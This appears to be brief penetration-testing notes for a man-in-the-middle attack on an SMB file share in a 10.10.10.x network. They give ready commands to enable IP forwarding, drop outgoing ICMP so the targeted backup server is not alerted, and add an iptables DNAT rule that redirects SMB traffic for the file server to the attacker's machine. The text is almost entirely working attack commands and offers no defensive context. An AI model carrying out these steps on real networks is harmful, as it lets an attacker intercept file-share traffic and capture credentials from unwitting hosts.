Mimt

	Switch IP: 10.10.10.254
	File server: 10.10.10.20
	Backup file server (target): 10.10.10.24
	Our IP: 10.10.10.201

enable IP forwarding :
	echo 1 > /proc/sys/net/ipv4/ip_forward


We will be dropping all outgoing ICMP. This prevents the kernel sending port/host unreachable to our target.

	iptables -A OUTPUT -p ICMP -j DROP

Since all packets will be going through our box, let's rewrite the destination address and port on the fly for all SMB requests destinated to 10.10.10.20:445 to our IP 10.10.10.201:445.

	iptables -t nat -A PREROUTING -p tcp --dst 10.10.10.20 --dport 445 -j DNAT --to-destination 10.10.10.201:445